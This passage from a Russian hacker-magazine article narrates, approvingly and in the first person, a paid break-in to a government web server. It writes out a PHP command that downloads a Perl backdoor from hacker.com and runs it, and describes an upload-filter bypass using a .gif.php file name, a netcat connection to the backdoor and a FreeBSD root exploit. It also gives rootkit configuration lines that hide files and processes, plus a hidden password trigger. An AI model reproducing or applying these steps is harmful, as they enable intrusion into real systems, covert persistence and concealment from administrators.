Государство в позе l1s(l1s@list.ru) Хакер, номер #086, стр. 086-080-3 <? system (‘cd /tmp; wget http://hacker.com/bd.pl;chmod 755 bd.pl; perl bd.pl ‘);?> Здесь выполняется переход в папку temp, в которую обычно разрешена запись, после сливается обычный перловый бэкдор(bd.pl), ставятся ему соответственные права и он запускается, биндив 32767 порт, с привилегиями веб-сервера. После я сохранил все это в файл mord4.php и попробовал загрузить картинку на сайт, но получил очередного ободряющего пинка. Тогда решил схитрить и поменял разрешение: .php на .gif.php. И что ты думаешь ? Картинка удачно зааплодилась! Я прошел по ссылке на картинку и загрузил ее у себя в браузере, но она долго не хотела грузить, а это говорило о том, что бэкдор был залит и запущен. Теперь я по старинке слил себе виндовый netcat и попробовал зацепиться к моему серверу: C:\>nc www.server.gov 32767 Первая команда who выполнилась на ура. Кстати, на тот момент в системе я был один, а значит, путь открыт, и нужно было быстро принимать решение. [root me plz] Итак, половина пути была пройдена, но шелла с ограниченными правами мне, конечно же, не хватало, а денежная мания полностью поглотила меня и подталкивала на решительные действия. Нужно было рутать, рутать и еще раз рутать. Команда uname –a показала мне здешнюю операционку. Это была моя давняя подруга FreeBsd 4.3. Странно, я наделся увидеть версию посвежее :). Ну да ладно, мне же лучше. Ветка фряхи была уязвима, подтверждение тому служил эксплойт от Georgi Guninski (www.guninski.com). Суть бага проста до безобразия: при выполнении exec() не все обработчики сигналов очищаются, что позволяет встроить свой код в suid-приложение. Удачно слив сплоит, я собрал его и получил готовый для запуска бинарник, который так и ждал, чтобы я его запустил :). Ну что же, его ожидании быстро оправдались, и через несколько минут мои права уже сменились на нулевые, а это означало, что рут-доступ был получен. После повышения прав я не решился добавлять своего юзера, так как даже самый ленивый и тупой админ заметит его присутствие и перекроет ему кислород, а за это заказчик меня по головке не погладит :), поэтому я решил ограничиться обычным руткитом. Так как система была freebsd, то shv или adore в нашем случае не рулит. Здесь нужно было юзать специально заточенный под нашу ось руткит. Я выбрал отличный и довольно старый руткит под названием fbrk. Он много чего умеет, но одной из ярких его особенностей является возможность скрывать файлы и процессы. Нужно всего лишь занести в конф такие строки: /dev/fd/.99/.ttyf00 /dev/fd/.99/.ttyp00 Установка руткита тоже радует, стоит лишь вбить ./setup, и далее все пойдет как по маслу. Чтобы схватить с помощью него рута, нужно задать переменную DISPLAY, значение которой и будет пароль: DISPLAY="qwerty"; export DISPLAY; telnet host |